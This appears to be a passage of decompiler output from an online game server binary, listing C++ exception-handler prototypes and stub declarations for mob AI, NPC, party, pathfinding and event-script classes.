_ehhandler___Buynode____Tree_V___Tset_traits_VMobRoamingPath_MobRoaming__U__less_VMobRoamingPath_MobRoaming___std__V__allocator_VMobRoamingPath_MobRoaming___4__0A__std___std__IAEPAU_Node____Tree_nod_V___Tset_traits_VMobRoamingPath_MobRoaming__U__less_VMobRoamingPath_MobRoaming___std__V__allocator_VMobRoamingPath_MobRoaming___4__0A__std___2_PAU342_00ABVMobRoamingPath_MobRoaming__D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156839(int a1); // void __usercall _L156840(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mrs_Load_MobRoamingSet_MobRoaming__QAEPAVMobRoamingPath_2_PATName4__PATORToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157394(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mrs_Load_MobRoamingSet_MobRoaming__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160877(int a1); // void __usercall _L160878(int a1); // void __usercall _L160879(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobActionWander_MobTacticElement__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164894(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionRoaming_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162155(int a1); // void __usercall _L162156(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_RunTo_MobActionBase_MobTacticElement__QAEXPAVShineMobileObject_ShineObjectClass__PAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162283(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionTargetting_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162529(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionTurning_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162803(int a1); // void __usercall _L162804(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionBackStep_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163127(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionAvoidOverlap_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163415(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_RandomDirectWalk_MobActionBase_MobTacticElement__QAEPAV12_PAVShineMobileObject_ShineObjectClass__HPAV12_1PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163705(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_SkillExchange_HPLow_ShineMob_ShineObjectClass__QAEEXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164601(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionAttack_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166880_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__IAEXViterator_12_IABUNaviPoint_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UUnitPoint_Navigator__V__allocator_UUnitPoint_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167519_1(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__QAEXIUNaviPoint_Navigator___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167755(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_UNaviPoint_Navigator__V__allocator_UNaviPoint_Navigator___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167765(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__StaticVector_UUnitPoint_Navigator____QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167859(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__StaticVector_UNaviPoint_Navigator____QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167966(int a1); // void __usercall _L167967(int a1); // void __usercall _L167968(int a1); unsigned int __cdecl _L167969(); // void __usercall _L167970(int a1); // void __usercall _L167971(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mab_Think_MobActionChase_MobTacticElement__UAEPAVMobActionBase_2_PAUMobActionArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L146357(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobTargetAggresive2__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L146672(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobAggroManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L146513(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_SlayerList_MobTargetBout__UAEXPAUPROTO_NC_BAT_MOBSLAYER_CMD__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158955(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_FindBlockLocate_ShineObject_ShineObjectClass__QAEEPAUSHINE_XY_TYPE__H0P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158348(int a1); // void __usercall _L158349(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_NewObjBriefInfoChange_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158482(int a1); // void __usercall _L158483(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_OldObjectDelete_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158519(int a1); // void __usercall _L158520(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_FindBlockLocateFrom_ShineObject_ShineObjectClass__QAEEPAUSHINE_XY_TYPE__0H0P8MapBlockInformation_MapBlock__AEEKK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158850(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mm_Step_MoveManager__QAEX_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L87666(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___AMultiHitTable_MultiHitData__QAEPBUMultiHitElement_1_G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L88974(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UMultiHitElement_MultiHitData__V__allocator_UMultiHitElement_MultiHitData___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UMultiHitElement_MultiHitData__V__allocator_UMultiHitElement_MultiHitData___std___std__IAEXViterator_12_IABUMultiHitElement_MultiHitData___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L90290(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mht_Load_MultiHitTable_MultiHitData__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L146791(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_AxialListNearScan__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160914(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_ENDOFTRADE_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160069(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_Role_NPCRole_Portal__UAEXPAVShinePlayer_ShineObjectClass__PAUNPCIndexArray_NPCManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160182(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_Role_NPCRole_ID_Portal__UAEXPAVShinePlayer_ShineObjectClass__PAUNPCIndexArray_NPCManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160305(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_Role_NPCRole_Merchant__UAEXPAVShinePlayer_ShineObjectClass__PAUNPCIndexArray_NPCManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160451(int a1); // void __usercall _L160621(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_NPCCLICK_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160717(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__InteractWithNPC_ShinePlayer_ShineObjectClass__UAEEPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L102073(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemListOption_NPCItemList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L102198(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nilt_MenuPacket_NPCItemListTable_NPCItemList__QAEPAUPROTO_NC_MENU_SHOPOPENTABLE_CMD__PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L102258(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nilt_ReadTable_NPCItemListTable_NPCItemList__QAEXPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158886(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nm_Load_NPCManager__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159127(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nm_SetNPC_NPCManager__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159590(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nrb_LinkBrenchCheck_NPCRole_Portal__UAEEPAULinkInformTemplete_NPCManager___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158623(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__opts_NC_OPTOOL_CONNECT_BRIF_REQ_OPToolSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158840(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0OPToolList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158803(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VOPToolObject____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159680(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__pp_SetPacketLen_ProtocolPacket__QAEEH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149725(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RecalcLastParam_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149256(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__scp_Load_ShineCommonParameter__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149493(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__FillRandomOption__YAXPAVItemInventoryCell__PBUItemDataBoxIndex_ItemDataBox__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149544(int a1); // void __usercall _L149545(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RecalcEquipParam_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149752(int a1); // void __usercall _L149789(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RecalcAbstateParam_ShineMobileObject_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150437(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158954(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_MEMBERINFORM_ACK_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158522(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__pm_Sendmemberinfo_PartyManufacture__QAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158756(int a1); // void __usercall _L157722(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_FUNDAMENTAL_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149920(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_PARTY_MEMBERINFOREQ_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150299(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_PARTY_KICKOFF_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L75952(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__t_trace_LinearStep__UAEPAVTracer__PAUPathFindArgumentStruct___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L75258(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cs_push_CellStack__AAEXPAUPathFindArgumentStruct__HHHHG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L75373(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__t_trace_CellStack__UAEPAVTracer__PAUPathFindArgumentStruct___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L75763(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UCellStackElement_CellStack____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L75805(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UPathFindCellLoc____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L76032(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CellStack__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153758(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__pes_Load_PineEventScript__QAEGPAEPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154312(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__ctype_D_std__QAE_PBF_NI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158160(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Getcat___num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__SAIPAPBVfacet_locale_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167301(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Script_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154711(int a1); // void __usercall _L154712(int a1); // void __usercall _L154713(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Express_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154855(int a1); // void __usercall _L154856(int a1); // void __usercall _L154857(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Condition_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156455(int a1); // void __usercall _L166958(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____use_facet_V__numpunct_D_std___std__YAABV__numpunct_D_0_ABVlocale_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167234(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Enlargement___List_VBlock_PineEventScriptNode____QAEEH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156721(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__QAE_I_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157339(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__basic_stringstream_DU__char_traits_D_std__V__allocator_D_2__std__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157618(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__basic_stringbuf_DU__char_traits_D_std__V__allocator_D_2__std__QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160348(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1sentry___basic_ostream_DU__char_traits_D_std___std__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157959(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__widen___basic_ios_DU__char_traits_D_std___std__QBEDD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158172(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VStatement_PineEventScriptNode____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158198(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VBlock_PineEventScriptNode____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158407(int a1); // void __usercall _L158581(int a1); // void __usercall _L158582(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0StateVarDeclear_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158817_0(int a1); // void __usercall _L158818(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1OtherStatement_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____6DU__char_traits_D_std__V__allocator_D_1__std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____6U__char_traits_D_std___std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___6__basic_ostream_DU__char_traits_D_std___std__QAEAAV01_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162046(int a1); // void __usercall _L162047(int a1); // void __usercall _L162048(int a1); // void __usercall _L162094(int a1); // void __usercall _L162135(int a1); // void __usercall _L162250(int a1); // void __usercall _L162252(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Load_StateIf_PineEventScriptNode__UAEGPAVTokenReader_PineScriptReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162691(int a1); // void __usercall _L162692(int a1); // void __usercall _L162693(int a1); // void __usercall _L162699(int a1); // void __usercall _L162701(int a1); // void __usercall _L162702(int a1); // void __usercall _L162703(int a1); // void __usercall _L162704(int a1); // void __usercall _L162706(int a1); // void __usercall _L162707(int a1); // void __usercall _L162708(int a1); // void __usercall _L162709(int a1); // void __usercall _L162711(int a1); // void __usercall _L162712(int a1); // void __usercall _L162713(int a1); // void __usercall _L162714(int a1); // void __usercall _L162716(int a1); // void __usercall _L162717(int a1); // void __usercall _L162718(int a1); // void __usercall _L162719(int a1); // void __usercall _L162721(int a1); // void __usercall _L162722_0(int a1); // void __usercall _L162723_0(int a1); // void __usercall _L162724_0(int a1); // void __usercall _L162726(int a1); // void __usercall _L162727(int a1); // void __usercall _L162728(int a1); // void __usercall _L162729(int a1); // void __usercall _L162731(int a1); // void __usercall _L162732(int a1); // void __usercall _L162733(int a1); // void __usercall _L162734(int a1); // void __usercall _L162736(int a1); // void __usercall _L162737(int a1); // void __usercall _L162738(int a1); // void __usercall _L162739(int a1); // void __usercall _L162741(int a1); // void __usercall _L162742(int a1); // void __usercall _L162743(int a1); // void __usercall _L162744(int a1); // void __usercall _L162746(int a1); // void __usercall _L162747(int a1); // void __usercall _L162748(int a1); // void __usercall _L162749(int a1); // void __usercall _L162751_0(int a1); // void __usercall _L162752(int a1); // void __usercall _L162753(int a1); // void __usercall _L162754(int a1); // void __usercall _L162756(int a1); // void __usercall _L162757(int a1); // void __usercall _L162758(int a1); // void __usercall _L162759(int a1); // void __usercall _L162761(int a1); // void __usercall _L162762(int a1); // void __usercall _L162763(int a1); // void __usercall _L162764(int a1); // void __usercall _L162766(int a1); // void __usercall _L162767(int a1); // void __usercall _L162768(int a1); // void __usercall _L162769(int a1); // void __usercall _L162771(int a1); // void __usercall _L162772(int a1); // void __usercall _L162773(int a1); // void __usercall _L162774(int a1); // void __usercall _L162776(int a1); // void __usercall _L162777(int a1); // void __usercall _L162778(int a1); // void __usercall _L162779(int a1); // void __usercall _L162780(int a1); // void __usercall _L166165(int a1); // void __usercall _L166167(int a1); // void __usercall _L166341(int a1); // void __usercall _L166342(int a1); // void __usercall _L166343(int a1); // void __usercall _L166344(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__do_put___num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__MBE_AV__ostreambuf_iterator_DU__char_traits_D_std___2_V32_AAVios_base_2_D_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167006_0(int a1); // void __usercall _L167009(int a1); // void __usercall _L167010(int a1); // void __usercall _L167040(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__numpunct_D_std__MAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Init___numpunct_D_std__IAEXABV_Locinfo_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167277_0(int a1); // void __usercall _L167278(int a1); // void __usercall _L167443(int a1); // void __usercall _L167445(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__basic_stringstream_DU__char_traits_D_std__V__allocator_D_2__std__QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167468(int a1); // void __usercall _L167472(int a1); // void __usercall _L167473(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__str___basic_stringbuf_DU__char_traits_D_std__V__allocator_D_2__std__QBE_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__2_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168333(int a1); // void __usercall _L168334(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Iput___num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__ABA_AV__ostreambuf_iterator_DU__char_traits_D_std___2_V32_AAVios_base_2_DPADI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168722(int a1); // void __usercall _L168723(int a1); // void __usercall _L168724(int a1); // void __usercall _L171077(int a1); // void __usercall _L166784_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__alkqr_MakeSimpleList_AxialListKQResult__QAEXPAVPineScriptToken__PAUPROTO_NC_KQ_SCORE_SIMPLE_CMD__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165301(int a1); // void __usercall _L165302(int a1); // void __usercall _L165303(int a1); // void __usercall _L165304(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smb_ObjectRegen_ScriptMobBreeder__QAEGPAVProcessStack_PineScriptStack__PAVShineObject_ShineObjectClass__GPAVArgumentList_PineEventScriptNode___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165429_0(int a1); // void __usercall _L165430(int a1); // void __usercall _L165431(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smb_ObjectChange_ScriptMobBreeder__QAEGPAVProcessStack_PineScriptStack__PAVShineObject_ShineObjectClass__GPAVArgumentList_PineEventScriptNode___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165879_0(int a1); // void __usercall _L165880_0(int a1); // void __usercall _L165881_0(int a1); // void __usercall _L165882_0(int a1); // void __usercall _L165883_0(int a1); // void __usercall _L165884_0(int a1); // void __usercall _L166039(int a1); // void __usercall _L166040(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineCharClass_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166257(int a1); // void __usercall _L166258(int a1); // void __usercall _L166259(int a1); _EXCEPTION_DISPOSITION __cdecl 